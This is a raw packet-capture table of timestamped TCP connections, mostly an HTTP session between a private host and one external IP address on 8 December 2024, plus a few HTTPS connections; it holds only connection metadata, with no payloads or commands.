Dec 8, 2024 17:45:44.511487007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.511538029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.511578083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.511611938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.512561083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.512660027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.512715101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.512836933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.513695002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.513705969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.513838053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.514801979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.514904022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.514924049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.515032053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.515929937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.516030073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.516067982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.516067982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.517266989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.517374039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.517407894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.517407894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.518131971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.518188953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.518238068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.518415928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.519251108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.519398928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.519407034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.519575119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.520462036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.520510912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.520548105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.520581961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.521475077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.521600962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.521733999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.521838903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.522650003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.522756100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.522789955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.523041964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.523701906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.523773909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.523802042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.523845911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.524811029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.524877071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.524950027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.525064945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.525921106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.525970936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.526056051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.526144981 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:44.526176929 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:44.526177883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.526408911 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:44.527133942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.527146101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.527185917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.527232885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.528199911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.528243065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.528304100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.528305054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.529309988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.529361010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.529418945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.529462099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.530417919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.530492067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.530508041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.530579090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.531584024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.531651974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.531723022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.531883001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.532639027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.532713890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.532872915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.532947063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.533749104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.533795118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.533857107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.533906937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.534878969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.534967899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.535007954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.535063982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.536065102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.536118031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.536169052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.537084103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.537153006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.539081097 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:44.539089918 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:44.563117027 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.563142061 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.563155890 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.563182116 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.563210964 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.563222885 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.563271999 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.604168892 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.604240894 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.604376078 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.604669094 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.604692936 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.604710102 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.604716063 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.608043909 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.608067989 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.608158112 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.608313084 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.608324051 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.670516014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.670568943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.670644045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.670644045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.671022892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.671066999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.671104908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.671329975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.672137022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.672180891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.672240973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.672389984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.673279047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.673330069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.673368931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.673388004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.674393892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.674468994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.674478054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.674525023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.675553083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.675618887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.675658941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.675658941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.676693916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.676764965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.676811934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.676811934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.677756071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.677829027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.677886009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.677895069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.678848982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.678947926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.678965092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.679013014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.680032015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.680114031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.680119991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.680202961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.681134939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.681185961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.681261063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.681261063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.682401896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.682419062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.682497978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.683427095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.683499098 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.683516026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.683566093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.684465885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.684561014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.684592009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.684680939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.685569048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.685692072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.685695887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.685761929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.686712980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.686774969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.686810970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.686901093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.687810898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.687872887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.687906981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.687994003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.688915014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.689028025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.689064026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.689089060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.690012932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.690088034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.690093040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.690157890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.691154957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.691222906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.691268921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.691334963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.692455053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.692538977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.692605972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.693377018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.693445921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.693485022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.693563938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.694544077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.694619894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.694679976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.694725037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.695633888 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.695705891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.695755005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.696764946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.696832895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.696847916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.696907043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.697824955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.697880983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.697958946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.698019981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.698973894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.699028969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.699088097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.699181080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.700086117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.700145960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.700217962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.700313091 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.701277971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.701351881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.701366901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.701441050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.702368975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.702419996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.702431917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.702481985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.703490973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.703557014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.703591108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.703644991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.704605103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.704662085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.704680920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.704766989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.705689907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.705771923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.705811977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.705854893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.707035065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.707091093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.707114935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.707137108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.708017111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.708106041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.708153009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.708153009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.709093094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.709151030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.709181070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.709228992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.710274935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.710350037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.710350990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.710424900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.711354971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.711525917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.711563110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.711618900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.712485075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.712543964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.712660074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.713593006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.713607073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.713656902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.714637995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.714703083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.714787960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.714834929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.715728045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.715775967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.715851068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.716013908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.716873884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.716938972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.716984034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.717037916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.718017101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.718091011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.718183994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.718255043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.719100952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.719120979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.719151974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.719172955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.720315933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.720407009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.720434904 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.720491886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.721498966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.721573114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.721611977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.721673012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.722430944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.722528934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.722618103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.723654032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.723665953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.723757029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.724715948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.724764109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.724831104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.724896908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.725797892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.725862026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.725899935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.726073027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.726913929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.726980925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.727035046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.727302074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.728048086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.728115082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.728157043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.728239059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.729094028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.729151964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.756491899 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.756520987 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.756576061 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.756593943 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.756635904 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.756658077 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.797631979 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.797656059 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.797728062 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.797749043 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.797772884 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.797801971 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.868833065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.868904114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.868998051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.869043112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.869302034 CET	80	49805	185.215.113.206	192.168.2.6
